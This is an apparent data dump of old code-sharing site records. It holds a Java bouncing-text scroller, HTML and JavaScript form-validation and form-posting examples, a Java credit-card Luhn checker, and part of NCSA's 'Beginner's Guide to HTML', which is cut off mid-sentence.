loadlameBounce() \n{ \nlametable[0] = 0; \nlametable[1] = 0; \nlametable[2] = 0; \nlametable[3] = 1; \nlametable[4] = 1; \nlametable[5] = 2; \nlametable[6] = 4; \nlametable[7] = 6; \nlametable[8] = 10; \nlametable[9] = 15; \nlametable[10] = 10; \nlametable[11] = 6; \nlametable[12] = 4; \nlametable[13] = 2; \nlametable[14] = 1; \nlametable[15] = 1; \n} \nprivate void BounceScroll() \n{ \nint retval = 0; \ndouble CX; \n\nfor (int loopx = 0; loopx < msglenght; loopx++) \n{ \nif( scrollpos + (loopx * letterwidth ) < extent_x && scrollpos + (loopx * letterwidth ) > letterwidth * -1) \n{ \ngetletterIndex((int)msg[loopx]); \n//Simulating transparent color.... \nlettergfx.drawImage(backdrop, -(scrollpos + (loopx * letterwidth)), -(1+lametable [msgbounceindex[loopx]]),this); \nlettergfx.drawImage(cropfont, -(startx * letterwidth), -(starty * letterheight),this); \ngfx.drawImage(letter,scrollpos + (loopx * letterwidth),1+lametable [msgbounceindex[loopx]],this); \nlettergfx.fillRect(0,0,letterwidth, letterheight); \n} \nif(++msgbounceindex[loopx] > 15) \nmsgbounceindex[loopx] = 0; \n} \nscrollpos -= veloce; \nif(scrollpos * -1 > msglenght * letterwidth) \nscrollpos = extent_x; \n//sinus stuff \nangolo_x += inc_factor; \nif (angolo_x > 90 || angolo_x < 0) \n{ \ninc_factor = inc_factor * -1; \n} \nCX = Math.cos((angolo_x ) * RAD); \nxadd = (int)(angolo_x * CX); \n//end of sinus stuff \n} \nprivate void getletterIndex(int ASCIIcode) \n{ \nint retval = 0; \nretval = ((int)ASCIIcode)-asciioffset; \nif(retval<=0) \n{ \nstartx = 0; \nstarty = 0; \n} \nelse \n{ \nstarty = ((int)(retval / 10)); \nstartx = (retval%10); \n} \n} \n} \n"},{"WorldId":2,"id":1775,"LineNumber":1,"line":"\n<HTML>\n<HEAD></HEAD>\n<SCRIPT Language=\"JavaScript\">\n\n</SCRIPT> \n<BODY>\n<FORM NAME=\"form1\">\n\nQueryString Parameter: \n<INPUT TYPE=\"TEXT\" NAME=\"TB1\">\n\n \n<A HREF=\"\" onClick=\"return Validator('YourURL.asp')\">Click me to continue </A>\n</FORM>\n</BODY>\n</HTML>"},{"WorldId":2,"id":1777,"LineNumber":1,"line":"<HTML>\n<BODY BGCOLOR=#C3C3C3>\n\n<SCRIPT LANGUAGE=JAVASCRIPT>\nfunction validate(form) {\n//Data validation using object names to reference objects\nif (form.USERID.value == \"\") {\n alert(\"You must enter a User ID\");\n form.USERID.focus()\n return false; }\nif (form.PSW.value == \"\") {\n alert(\"You must enter a Password\");\n form.PSW.focus()\n return false; }\nif (form.PSW.value != form.CPSW.value) {\n alert(\"Password and Password Confirmation Did Not Match\");\n form.CPSW.focus()\n return false; }\nreturn true;\n}\nfunction validate2(form) {\n//Data validation using elements[] to reference objects\nif (form.elements[0].value == \"\") {\n alert(\"You must enter a User ID\");\n form.elements[0].focus()\n return false; }\nif (form.elements[1].value == \"\") {\n alert(\"You must enter a Password\");\n form.elements[1].focus()\n return false; }\nif (form.elements[1].value != form.elements[2].value) {\n alert(\"Password and Password Confirmation Did Not Match\");\n form.elements[1].focus()\n return false; }\nreturn true;\n}\n</SCRIPT>\n<FORM onSubmit=\"return validate(this)\" ACTION=\"http://www.truegeeks.com\" METHOD=post>\n<TABLE><TR>\n<TD ALIGN=right>USER ID:</TD>\n<TD><INPUT TYPE=TEXTBOX NAME=USERID SIZE=25 MAXLENGTH=25></TD></TR>\n<TR>\n<TD ALIGN=right>PASSWORD:</TD>\n<TD><INPUT TYPE=password NAME=PSW SIZE=25 MAXLENGTH=25></TD></TR>\n<TR>\n<TD ALIGN=right>CONFIRM PASSWORD:</TD>\n<TD><INPUT TYPE=password NAME=CPSW SIZE=25 MAXLENGTH=25></TD></TR>\n<TR><TD><TD><INPUT TYPE=submit VALUE=\"Submit 1\"></TD></TR>\n</TABLE></FORM>\n</BODY></HTML>\n"},{"WorldId":2,"id":1779,"LineNumber":1,"line":"<HTML>\n<BODY>\n<SCRIPT LANGUAGE=javascript>\nfunction dosubmit() {\ndocument.forms[0].action = \"test3.asp\"\ndocument.forms[0].method = \"POST\"\ndocument.forms[0].submit()\n}\n</script>\n<FORM NAME=FORM1>\n<INPUT TYPE=BUTTON NAME=BT1 VALUE=\"Some value to post\" onClick=\"dosubmit()\"> \n</FORM>\n</BODY>\n</HTML>\nThe \"Test3.asp\" code:\n<HTML>\n<BODY>\n<H2>Test Post from Javascript</H2>\n<%\nBT1 = request.form(\"BT1\")\nif BT1 = \"\" then\n response.write \"BT1 value not posted.\"\nelse\n response.write \"BT1 value posted = \" & BT1\nendif\n%>\n</BODY>\n</HTML>\nTop of Form 1\n \nBottom of Form 1\n"},{"WorldId":2,"id":1778,"LineNumber":1,"line":"\n<SCRIPT language=\"JavaScript\">\n\n</SCRIPT>\n"},{"WorldId":2,"id":263,"LineNumber":1,"line":"/*\n Source code ported by Jonathan Tew (jtew@ixworld.com) from VB to Java.\n Original code module credits:\n Name: Credit Card Identification\n Description: Determines type of Credit Card by it's number.\n By: John Anderson\n Name: Credit Card Checksum Checker\n Description:Checks to see if a Credit Card Number is valid\n by performing the LUHN-10 check on it.\n By: John Anderson\n*/\npublic class CreditCardVerify {\n public static final int CARDTYPE_UNKNOWN = 0;\n public static final int CARDTYPE_VISA = 1;\n public static final int CARDTYPE_AMEX = 2;\n public static final int CARDTYPE_DINERSCLUB = 3;\n public static final int CARDTYPE_JCB = 4;\n public static final int CARDTYPE_DISCOVER = 5;\n public static final int CARDTYPE_ENROUTE = 6;\n public static final int CARDTYPE_MASTERCARD = 7;\n public static boolean isValidCCNum(String ccNum) {\n int i;\n int total = 0;\n String tempMultiplier = \"\";\n for (i = ccNum.length(); i >= 2; i -= 2) {\n total = total + cint(ccNum.charAt(i - 1));\n tempMultiplier = \"\" + (cint(ccNum.charAt(i - 2)) * 2);\n total = total + cint(left(tempMultiplier));\n if (tempMultiplier.length() > 1) {\n total = total + cint(right(tempMultiplier));\n }\n }\n if (ccNum.length() % 2 == 1) {\n total = total + cint(left(ccNum));\n }\n if (total % 10 == 0) return(true);\n else return(false);\n }\n private static char left(String s) {\n return(s.charAt(0));\n }\n private static char right(String s) {\n return(s.charAt(s.length() - 1));\n }\n private static int cint(char ch) {\n if (ch == '0') return(0);\n if (ch == '1') return(1);\n if (ch == '2') return(2);\n if (ch == '3') return(3);\n if (ch == '4') return(4);\n if (ch == '5') return(5);\n if (ch == '6') return(6);\n if (ch == '7') return(7);\n if (ch == '8') return(8);\n if (ch == '9') return(9);\n // Should never get here, but oh well\n return(0);\n }\n public static int cardType(String ccNum) {\n String header = \"\";\n switch (left(ccNum)) {\n case '5' :\n header = ccNum.substring(0, 2);\n if (Integer.parseInt(header) >= 51 && Integer.parseInt(header) <= 55 && ccNum.length() == 16) {\n return(CARDTYPE_MASTERCARD);\n }\n break;\n case '4' :\n if (ccNum.length() == 13 || ccNum.length() == 16) {\n return(CARDTYPE_VISA);\n }\n break;\n case '3' :\n header = ccNum.substring(0, 3);\n if (Integer.parseInt(header) >= 340 && Integer.parseInt(header) <= 379 && ccNum.length() == 15) {\n return(CARDTYPE_AMEX);\n }\n if (Integer.parseInt(header) >= 300 && Integer.parseInt(header) <= 305 && ccNum.length() == 14) {\n return(CARDTYPE_DINERSCLUB);\n }\n if (Integer.parseInt(header) >= 360 && Integer.parseInt(header) <= 368 && ccNum.length() == 14) {\n return(CARDTYPE_DINERSCLUB);\n }\n if (Integer.parseInt(header) >= 380 && Integer.parseInt(header) <= 389 && ccNum.length() == 14) {\n return(CARDTYPE_DINERSCLUB);\n }\n if (Integer.parseInt(header) >= 300 && Integer.parseInt(header) <= 399 && ccNum.length() == 16) {\n return(CARDTYPE_JCB);\n }\n break;\n case '6' :\n header = ccNum.substring(0, 4);\n if (Integer.parseInt(header) == 6011 && ccNum.length() == 16) {\n return(CARDTYPE_DISCOVER);\n }\n break;\n case '2' :\n header = ccNum.substring(0, 4);\n if ((Integer.parseInt(header) == 2014 || Integer.parseInt(header) == 2149) && ccNum.length() == 15) {\n return(CARDTYPE_ENROUTE);\n }\n if (Integer.parseInt(header) == 2131 && ccNum.length() == 15) {\n return(CARDTYPE_JCB);\n }\n break;\n case '1' :\n header = ccNum.substring(0, 4);\n if (Integer.parseInt(header) == 1800 && ccNum.length() == 15) {\n return(CARDTYPE_JCB);\n }\n break;\n }\n return(CARDTYPE_UNKNOWN);\n }\n}\n"},{"WorldId":4,"id":6156,"LineNumber":1,"line":"A Beginner's Guide to HTML\nThis is a primer for producing documents in HTML, the\nhypertext markup \nlanguage used on the World Wide Web. This guide is intended to be an \nintroduction to using HTML and creating files for the Web. Links are \nprovided to additional information. You should also check your local \nbookstore; there are many volumes about the Web and HTML that could be \nuseful.\n * Getting Started \n o Terms to Know \n o What Isn't Covered \n o HTML Version \n * HTML Documents \n o What an HTML Document Is \n o Tags Explained \n o The Minimal HTML Document \n o A Teaching Tool \n * Markup Tags \n o HTML \n o HEAD \n o TITLE \n o BODY \n o Headings \n o Paragraphs \n o Lists \n o Preformatted Text \n o Extended Quotations \n o Addresses \n o Forced Line Breaks/Postal Addresses \n o Horizontal Rules \n * Character Formatting \n o Logical Versus Physical Styles \n o Escape Sequences \n * Linking \n o Relative Pathnames Versus Absolute\nPathnames \n o URLs \n o Links to Specific Sections \n o Mailto \n * Inline Images \n o Image Size Attributes \n o Aligning Images \n o Alternate Text for Images \n o Background Graphics \n o Background Color \n o External Images, Sounds, and\nAnimations \n * Tables \n o Table Tags \n o General Table Format \n o Tables for Nontabular Information \n * Fill-out Forms \n * Troubleshooting \n o Avoid Overlapping Tags \n o Embed Only Anchors and Character\nTags \n o Do the Final Steps \n o Commenting Your Files \n * For More Information \n o Style Guides \n o Other Introductory Documents \n o Additional Online References \n \n----------------------------------------------------------------------------\n \n Getting Started\nTerms to Know\nWWW World Wide Web \nWeb World Wide Web \nSGML \n Standard Generalized Markup Language--a standard for\ndescribing markup \n languages \nDTD Document Type Definition--this is the formal specification of a\nmarkup \n language, written using SGML \nHTML \n HyperText Markup Language--HTML is an SGML DTD \n In practical terms, HTML is a collection of\nplatform-independent styles \n (indicated by markup tags) that define the various\ncomponents of a \n World Wide Web document. HTML was invented by Tim\nBerners-Lee while at \n CERN, the European Laboratory for Particle Physics in\nGeneva.\nWhat Isn't Covered\nThis primer assumes that you:\n * know how to use NCSA Mosaic or some other\nWeb browser \n * have a general understanding of how Web servers and client\nbrowsers \n work \n * have access to a Web server (or that you want to produce HTML\ndocuments \n for personal use in local-viewing mode)\nHTML Version\nThis guide reflects the most current specification--HTML\nVersion 2.0-- plus \nsome additional features that have been widely and consistently implemented \nin browsers. Future versions and new features for HTML are under \ndevelopment.\n \nHTML Documents\nWhat an HTML Document Is\nHTML documents are plain-text (also known as ASCII)\nfiles that can be \ncreated using any text editor (e.g., Emacs or vi on UNIX machines; BBEdit on \na Macintosh; Notepad on a Windows machine). You can also use word-processing \nsoftware if you remember to save your document as "text only with line \nbreaks."\nTags Explained\nAn element is a fundamental component of the structure\nof a text document. \nSome examples of elements are heads, tables, paragraphs, and lists. Think of \nit this way: you use HTML tags to mark the elements of a file for your \nbrowser. Elements can contain plain text, other elements, or both.\nTo denote the various elements in an HTML document, you\nuse tags. HTML tags \nconsist of a left angle bracket (<), a tag name, and a right angle bracket \n(>). Tags are usually paired (e.g., <H1> and </H1>) to start and\nend the tag \ninstruction. The end tag looks just like the start tag except a slash (/) \nprecedes the text within the brackets. HTML tags are listed below.\nSome elements may include an attribute, which is\nadditional information that \nis included inside the start tag. For example, you can specify the alignment \nof images (top, middle, or bottom) by including the appropriate attribute \nwith the image source HTML code. Tags that have optional attributes are \nnoted below.\nNOTE: HTML is not case sensitive. <title> is\nequivalent to <TITLE> or \n<TiTlE>. There are a few exceptions noted in Escape Sequences below.\nNot all tags are supported by all World Wide Web\nbrowsers. If a browser does \nnot support a tag, it (usually) just ignores it.\nThe Minimal HTML Document\nEvery HTML document should contain certain standard HTML\ntags. Each document \nconsists of head and body text. The head contains the title, and the body \ncontains the actual text that is made up of paragraphs, lists, and other \nelements. Browsers expect specific information because they are programmed \naccording to HTML and SGML specifications.\nRequired elements are shown in this sample bare-bones\ndocument:\n <html> \n <head> \n <TITLE>A Simple HTML Example</TITLE> \n </head> \n <body> \n <H1>HTML is Easy To Learn</H1> \n Welcome to the world of HTML. \n This is the first paragraph. While short it is \n still a paragraph! \n And this is the second paragraph. \n </body> \n </html>\nThe required elements are the <html>,\n<head>, <title>, and <body> tags (and \ntheir corresponding end tags). Because you should include these tags in each \nfile, you might want to create a template file with them. (Some browsers \nwill format your HTML file correctly even if these tags are not included. \nBut some browsers won't! So make sure to include them.)\nClick to see the formatted version of the example. A\nlonger example is also \navailable but you should read through the rest of the guide before you take \na look. This longer-example file contains tags explained in the next \nsection.\nA Teaching Tool\nTo see a copy of the file that your browser reads to\ngenerate the \ninformation in your current window, select View Source (or the equivalent) \nfrom the browser menu. The file contents, with all the HTML tags, are \ndisplayed in a new window.\nThis is an excellent way to see how HTML is used and to\nlearn tips and \nconstructs. Of course, the HTML might not be technically correct. Once you \nbecome familiar with HTML and check the many online and hard-copy references \non the subject, you will learn to distinguish between "good" and\n"bad" HTML.\nRemember that you can save a source file with the HTML\ncodes and use it as a \ntemplate for one of your Web pages or modify the format to suit your \npurposes.\n \n Markup Tags\nHTML\nThis element tells your browser that the file contains\nHTML-coded \ninformation. The file extension .html also indicates this an HTML document \nand must be used. (If you are restricted to 8.3 filenames (e.g., \nLeeHome.htm, use only .htm for your extension.)\nHEAD\nThe head element identifies the first part of your\nHTML-coded document that \ncontains the title. The title is shown as part of your browser's window (see \nbelow).\nTITLE\nThe title element contains your document title and\nidentifies its content in \na global context. The title is displayed somewhere on the browser window \n(usually at the top), but not within the text area. The title is also what \nis displayed on someone's hotlist or bookmark list, so choose something \ndescriptive, unique, and relatively short. A title is also used during a \nWAIS search of a server.\nFor example, you might include a shortened title of a\nbook along with the \nchapter contents: NCSA Mosaic Guide (Windows): Installation. This tells the \nsoftware name, the platform, and the chapter contents, which is more useful \nthan simply calling the document Installation. Generally you should keep \nyour titles to 64 characters or fewer.\nBODY\nThe second--and largest--part of your HTML document is\nthe body, which \ncontains the content of your document (displayed within the text area of \nyour browser window). The tags explained below are used within the body of \nyour HTML document.\nHeadings\nHTML has six levels of headings, numbered 1 through 6,\nwith 1 being the most \nprominent. Headings are displayed in larger and/or bolder fonts than normal \nbody text. The first heading in each document should be tagged <H1>.\nThe syntax of the heading element is: \n<Hy>Text of heading </Hy> \nwhere y is a number between 1 and 6 specifying the level of the heading.\nDo not skip levels of headings in your document. For\nexample, don't start \nwith a level-one heading (<H1>) and then next use a level-three\n(<H3>) \nheading.\nParagraphs\nUnlike documents in most word processors, carriage\nreturns in HTML files \naren't significant. So you don't have to worry about how long your lines of \ntext are (better to have them fewer than 72 characters long though). Word \nwrapping can occur at any point in your source file, and multiple spaces are \ncollapsed into a single space by your browser.\nIn the bare-bones example shown in the Minimal HTML\nDocument section, the \nfirst paragraph is coded as\n Welcome to the world of\nHTML. \n This is the first paragraph. \n While short it is \n still a paragraph!\nIn the source file there is a line break between the\nsentences. A Web \nbrowser ignores this line break and starts a new paragraph only when it \nencounters another tag.\nImportant: You must indicate paragraphs with \nelements. A browser ignores \nany indentations or blank lines in the source text. Without elements, \nthe document becomes one large paragraph. (One exception is text tagged as \n"preformatted," which is explained below.) For example, the following\nwould \nproduce identical output as the first bare-bones HTML example:\n <H1>Level-one\nheading</H1> Welcome to the world of HTML. This is the \n first paragraph. While short it is still a \n paragraph! And this is the second\nparagraph.\nTo preserve readability in HTML files, put headings on\nseparate lines, use a \nblank line or two where it helps identify the start of a new section, and \nseparate paragraphs with blank lines (in addition to the tags). These \nextra spaces will help you when you edit your files (but your browser will \nignore the extra spaces because it has its own set of rules on spacing that \ndo not depend on the spaces you put in your source file).\nNOTE: The closing tag can be omitted. This is\nbecause browsers \nunderstand that when they encounter a tag, it implies that there is an \nend to the previous paragraph.\nUsing the and as a paragraph\ncontainer means that you can center a \nparagraph by including the ALIGN=alignment attribute in your source file.\n \n This is a centered paragraph. [See the formatted version\nbelow.] \n \n \nThis is a centered paragraph.\nLists\nHTML supports unnumbered, numbered, and definition\nlists. You can nest lists \ntoo, but use this feature sparingly because too many nested items can get \ndifficult to follow.\nUnnumbered Lists\nTo make an unnumbered, bulleted list,\n 1. start with an opening list <UL> (for\nunnumbered list) tag \n 2. enter the <LI> (list item) tag followed by the individual item;\nno \n closing </LI> tag is needed \n 3. end the entire list with a closing list </UL> tag\nBelow is a sample three-item list:\n <UL> \n <LI> apples \n <LI> bananas \n <LI> grapefruit \n </UL>\nThe output is:\n * apples \n * bananas \n * grapefruit\nThe <LI> items can contain multiple paragraphs.\nIndicate the paragraphs with \nthe paragraph tags.\nNumbered Lists\nA numbered list (also called an ordered list, from which\nthe tag name \nderives) is identical to an unnumbered list, except it uses <OL> instead\nof \n<UL>. The items are tagged using the same <LI> tag. The following\nHTML code:\n <OL> \n <LI> oranges \n <LI> peaches \n <LI> grapes \n </OL>\nproduces this formatted output:\n 1. oranges \n 2. peaches \n 3. grapes\nDefinition Lists\nA definition list (coded as <DL>) usually consists\nof alternating a \ndefinition term (coded as <DT>) and a definition definition (coded as\n<DD>). \nWeb browsers generally format the definition on a new line.\nThe following is an example of a definition list:\n <DL> \n <DT> NCSA \n <DD> NCSA, the National Center for Supercomputing\nApplications, \n is located on the campus of the\nUniversity of Illinois \n at Urbana-Champaign. \n <DT> Cornell Theory Center \n <DD> CTC is located on the campus of Cornell University\nin Ithaca, \n New York. \n </DL>\nThe output looks like:\nNCSA \n NCSA, the National Center for Supercomputing\nApplications, is located \n on the campus of the University of Illinois at\nUrbana-Champaign. \nCornell Theory Center \n CTC is located on the campus of Cornell University in\nIthaca, New York.\nThe <DT> and <DD> entries can contain\nmultiple paragraphs (indicated by \nparagraph tags), lists, or other definition information.\nThe COMPACT attribute can be used routinely in case your\ndefinition terms \nare very short. If, for example, you are showing some computer options, the \noptions may fit on the same line as the start of the definition.\n<DL COMPACT> \n<DT> -i \n<DD>invokes NCSA Mosaic for Microsoft Windows using the \ninitialization file defined in the path \n<DT> -k \n<DD>invokes NCSA Mosaic for Microsoft Windows in kiosk mode \n</DL>\nThe output looks like:\n-i invokes NCSA Mosaic for Microsoft Windows\nusing the initialization file \n defined in the path. \n-k invokes NCSA Mosaic for Microsoft Windows in kiosk mode.\nNested Lists\nLists can be nested. You can also have a number of\nparagraphs, each \ncontaining a nested list, in a single list item.\nHere is a sample nested list:\n <UL> \n <LI> A few New England states: \n <UL> \n <LI> Vermont \n <LI> New Hampshire \n <LI> Maine \n </UL> \n <LI> Two Midwestern states: \n <UL> \n <LI> Michigan \n <LI> Indiana \n </UL> \n </UL>\nThe nested list is displayed as\n * A few New England states: \n o Vermont \n o New Hampshire \n o Maine \n * Two Midwestern states: \n o Michigan \n o Indiana\nPreformatted Text\nUse the <PRE> tag (which stands for\n"preformatted") to generate text in a \nfixed-width font. This tag also makes spaces, new lines, and tabs \nsignificant (multiple spaces are displayed as multiple spaces, and lines \nbreak in the same locations as in the source HTML file). This is useful for \nprogram listings, among other things. For example, the following lines:\n <PRE> \n #!/bin/csh \n cd $SCR \n cfs get mysrc.f:mycfsdir/mysrc.f \n cfs get myinfile:mycfsdir/myinfile \n fc -02 -o mya.out mysrc.f \n mya.out \n cfs save myoutfile:mycfsdir/myoutfile \n rm * \n </PRE>\ndisplay as:\n #!/bin/csh \n cd $SCR \n cfs get mysrc.f:mycfsdir/mysrc.f \n cfs get myinfile:mycfsdir/myinfile \n fc -02 -o mya.out mysrc.f \n mya.out \n cfs save myoutfile:mycfsdir/myoutfile \n rm *\nThe <PRE> tag can be used with an optional WIDTH\nattribute that specifies \nthe maximum number of characters for a line. WIDTH also signals your browser \nto choose an appropriate font and indentation for the text.\nHyperlinks can be used within <PRE> sections. You\nshould avoid using other \nHTML tags within <PRE> sections, however.\nNote that because <, >, and & have special\nmeanings in HTML, you must use \ntheir escape sequences (<, >, and &, respectively) to\nenter these \ncharacters. See the section Escape Sequences for more information.\nExtended Quotations\nUse the <BLOCKQUOTE> tag to include lengthy\nquotations in a separate block \non the screen. Most browsers generally change the margins for the quotation \nto separate it from surrounding text.\nIn the example:\n <BLOCKQUOTE> \n Omit needless words. \n Vigorous writing is concise. A sentence should\ncontain no \n unnecessary words, a paragraph no unnecessary sentences, for\nthe \n same reason that a drawing should have no unnecessary lines\nand a \n machine no unnecessary parts. \n --William Strunk, Jr., 1918 \n </BLOCKQUOTE>\nthe result is:\n Omit needless words.\n Vigorous writing is concise. A\nsentence should contain no \n unnecessary words, a paragraph no unnecessary\nsentences, for the \n same reason that a drawing should have no unnecessary\nlines and a \n machine no unnecessary parts.\n --William Strunk, Jr., 1918\nAddresses\nThe <ADDRESS> tag is generally used to specify the\nauthor of a document, a \nway to contact the author (e.g., an email address), and a revision date. It \nis usually the last item in a file.\nFor example, the last line of the online version of this\nguide is:\n <ADDRESS> \n A Beginner's Guide to HTML / NCSA / <a href=\"mailto:pubs@ncsa.uiuc.edu\">pubs@ncsa.uiuc.edu</a>\n/ revised April 96 \n </ADDRESS>\nThe result is: \nA Beginner's Guide to HTML / NCSA / <a href=\"mailto:pubs@ncsa.uiuc.edu\">pubs@ncsa.uiuc.edu</a>\n/ revised April 96\nNOTE: <ADDRESS> is not used for postal addresses.\nSee "Forced Line Breaks" \nbelow to see how to format postal addresses.\nForced Line Breaks/Postal Addresses\nThe tag forces a line break with no extra\n(white) space between lines. \nUsing elements for short lines of text such as postal addresses\nresults \nin unwanted additional white space. For example, with :\n National Center for Supercomputing\nApplications \n 605 East Springfield Avenue \n Champaign, Illinois 61820-5518 \nThe output is:\nNational Center for Supercomputing Applications \n605 East Springfield Avenue \nChampaign, Illinois 61820-5518\nHorizontal Rules\nThe <HR> tag produces a horizontal line the width\nof the browser window. A \nhorizontal rule is useful to separate sections of your document. For \nexample, many people add a rule at the end of their text and before the \n<address> information.\nYou can vary a rule's size (thickness) and width (the\npercentage of the \nwindow covered by the rule). Experiment with the settings until you are \nsatisfied with the presentation. For example:\n<HR SIZE=4 WIDTH="50%">\ndisplays as: \n \n--------------------------------------\n \n Character Formatting\nHTML has two types of styles for individual words or\nsentences: logical and \nphysical. Logical styles tag text according to its meaning, while physical \nstyles indicate the specific appearance of a section. For example, in the \npreceding sentence, the words "logical styles" was tagged as a\n"definition." \nThe same effect (formatting those words in italics) could have been achieved \nvia a different tag that tells your browser to "put these words in\nitalics."\nNOTE: Some browsers don't attach any style to the <DFN>\ntag, so you might \nnot see the indicated phrases in the previous paragraph in italics.\nLogical Versus Physical Styles\nIf physical and logical styles produce the same result\non the screen, why \nare there both?\nIn the ideal SGML universe, content is divorced from\npresentation. Thus SGML \ntags a level-one heading as a level-one heading, but does not specify that \nthe level-one heading should be, for instance, 24-point bold Times centered. \nThe advantage of this approach (it's similar in concept to style sheets in \nmany word processors) is that if you decide to change level-one headings to \nbe 20-point left-justified Helvetica, all you have to do is change the \ndefinition of the level-one heading in your Web browser. Indeed many \nbrowsers today let you define how you want the various HTML tags rendered \non-screen.\nAnother advantage of logical tags is that they help\nenforce consistency in \nyour documents. It's easier to tag something as <H1> than to remember that \nlevel-one headings are 24-point bold Times centered or whatever. For \nexample, consider the tag. Most browsers render it in bold text. \nHowever, it is possible that a reader would prefer that these sections be \ndisplayed in red instead. Logical styles offer this flexibility.\nOf course, if you want something to be displayed in\nitalics (for example) \nand do not want a browser's setting to display it differently, use physical \nstyles. Physical styles, therefore, offer consistency in that something you \ntag a certain way will always be displayed that way for readers of your \ndocument.\nTry to be consistent about which type of style you use.\nIf you tag with \nphysical styles, do so throughout a document. If you use logical styles, \nstick with them within a document. Keep in mind that future releases of HTML \nmight not support physical styles, which could mean that browsers will not \ndisplay physical style coding.\nLogical Styles\n<DFN> \n for a word being defined. Typically displayed in\nitalics. (NCSA Mosaic \n is a World Wide Web browser.) \n \n for emphasis. Typically displayed in italics.\n(Consultants cannot reset \n your password unless you call the help line.) \n<CITE> \n for titles of books, films, etc. Typically displayed in\nitalics. (A \n Beginner's Guide to HTML) \n<CODE> \n for computer code. Displayed in a fixed-width font.\n(The <stdio.h> \n header file) \n<KBD> \n for user keyboard entry. Typically displayed in plain\nfixed-width font. \n (Enter passwd to change your password.) \n<SAMP> \n for a sequence of literal characters. Displayed in a\nfixed-width font. \n (Segmentation fault: Core dumped.) \n \n for strong emphasis. Typically displayed in bold.\n(NOTE: Always check \n your links.) \n<VAR> \n for a variable, where you will replace the variable\nwith specific \n information. Typically displayed in italics. (rm\nfilename deletes the \n file.)\nPhysical Styles\n bold text \n italic text \n<TT> \n typewriter text, e.g. fixed-width font.\nEscape Sequences (a.k.a. Character Entities)\nCharacter entities have two functions:\n * escaping special characters \n * displaying other characters not available in the plain ASCII\ncharacter \n set (primarily characters with diacritical marks)\nThree ASCII characters--the left angle bracket (<),\nthe right angle bracket \n(>), and the ampersand (&)--have special meanings in HTML and therefore \ncannot be used "as is" in text. (The angle brackets are used to\nindicate the \nbeginning and end of HTML tags, and the ampersand is used to indicate the \nbeginning of an escape sequence.) Double quote marks may be used as-is but a \ncharacter entity may also be used (").\nTo use one of the three characters in an HTML document,\nyou must enter its \nescape sequence instead:\n< \n the escape sequence for < \n> \n the escape sequence for > \n& \n the escape sequence for &\nAdditional escape sequences support accented characters,\nsuch as:\nö \n the escape sequence for a lowercase o with an umlaut:\n├╢ \nñ \n the escape sequence for a lowercase n with an tilde: ├▒ \nÈ \n the escape sequence for an uppercase E with a grave\naccent: ├ê\nYou can substitute other letters for the o, n, and E\nshown above. Check this \nonline reference for a longer list of special characters.\nNOTE: Unlike the rest of HTML, the escape sequences are\ncase sensitive. You \ncannot, for instance, use &LT; instead of <.\n \n Linking\nThe chief power of HTML comes from its ability to link\ntext and/or an image \nto another document or section of a document. A browser highlights the \nidentified text or image with color and/or underlines to indicate that it is \na hypertext link (often shortened to hyperlink or link).\nHTML's single hypertext-related tag is <A>, which\nstands for anchor. To \ninclude an anchor in your document:\n 1. start the anchor with <A (include a space\nafter the A) \n 2. specify the document you're linking to by entering the parameter \n HREF="filename" followed by a closing right\nangle bracket (>) \n 3. enter the text that will serve as the hypertext link in the current \n document \n 4. enter the ending anchor tag: </A> (no space is needed before the\nend \n anchor tag)\nHere is a sample hypertext reference in a file called\nUS.html:\n <A HREF="MaineStats.html">Maine</A>\nThis entry makes the word Maine the hyperlink to the\ndocument \nMaineStats.html, which is in the same directory as the first document.\nRelative Pathnames Versus Absolute Pathnames\nYou can link to documents in other directories by\nspecifying the relative \npath from the current document to the linked document. For example, a link \nto a file NYStats.html located in the subdirectory AtlanticStates would be:\n <A HREF="AtlanticStates/NYStats.html">New\nYork</A>\nThese are called relative links because you are\nspecifying the path to the \nlinked file relative to the location of the current file. You can also use \nthe absolute pathname (the complete URL) of the file, but relative links are \nmore efficient in accessing a server.\nPathnames use the standard UNIX syntax. The UNIX syntax\nfor the parent \ndirectory (the directory that contains the current directory) is "..".\n(For \nmore information consult a beginning UNIX reference text such as Learning \nthe UNIX Operating System from O'Reilly and Associates, Inc.)\nIf you were in the NYStats.html file and were referring\nto the original \ndocument US.html, your link would look like this:\n <A HREF="../US.html">United\nStates</A>\nIn general, you should use relative links because:\n 1. it's easier to move a group of documents to\nanother location (because \n the relative path names will still be valid) \n 2. it's more efficient connecting to the server \n 3. there is less to type\nHowever use absolute pathnames when linking to documents\nthat are not \ndirectly related. For example, consider a group of documents that comprise a \nuser manual. Links within this group should be relative links. Links to \nother documents (perhaps a reference to related software) should use full \npath names. This way if you move the user manual to a different directory, \nnone of the links would have to be updated."},{"WorldId":4,"id":6157,"LineNumber":1,"line":"\nURLs\nThe World Wide Web uses Uniform Resource Locators (URLs)\nto specify the \nlocation of files on other servers. A URL includes the type of resource \nbeing accessed (e.g., Web, gopher, WAIS), the address of the server, and the \nlocation of the file. The syntax is:\nscheme://host.domain [:port]/path/ filename\nwhere scheme is one of\nfile \n a file on your local system \nftp a file on an anonymous FTP server \nhttp \n a file on a World Wide Web server \ngopher \n a file on a Gopher server \nWAIS \n a file on a WAIS server \nnews \n a Usenet newsgroup \ntelnet \n a connection to a Telnet-based service\nThe port number can generally be omitted. (That means\nunless someone tells \nyou otherwise, leave it out.)\nFor example, to include a link to this primer in your\ndocument, enter:\n <A HREF="<a href=\"http://www.ncsa.uiuc.edu/General/Internet/WWW/HTMLPrimer.html\">http://www.ncsa.uiuc.edu/General/Internet/WWW/HTMLPrimer.html</a>"> \n NCSA's Beginner's Guide to HTML</A>\nThis entry makes the text NCSA's Beginner's Guide to\nHTML a hyperlink to \nthis document.\nFor more information on URLs, refer to:\n * WWW Names and Addresses, URIs, URLs, URNs \n * A Beginner's Guide to URLs\nLinks to Specific Sections\nAnchors can also be used to move a reader to a\nparticular section in a \ndocument (either the same or a different document) rather than to the top, \nwhich is the default. This type of an anchor is commonly called a named \nanchor because to create the links, you insert HTML names within the \ndocument.\nThis guide is a good example of using named anchors in\none document. The \nguide is constructed as one document to make printing easier. But as one \n(long) document, it can be time-consuming to move through when all you \nreally want to know about is one bit of information about HTML. Internal \nhyperlinks are used to create a "table of contents" at the top of this \ndocument. These hyperlinks move you from one location in the document to \nanother location in the same document. (Go to the top of this document and \nthen click on the Links to Specific Sections hyperlink in the table of \ncontents. You will wind up back here.)\nYou can also link to a specific section in another\ndocument. That \ninformation is presented first because understanding that helps you \nunderstand linking within one document.\nLinks Between Sections of Different Documents\nSuppose you want to set a link from document A (documentA.html)\nto a \nspecific section in another document 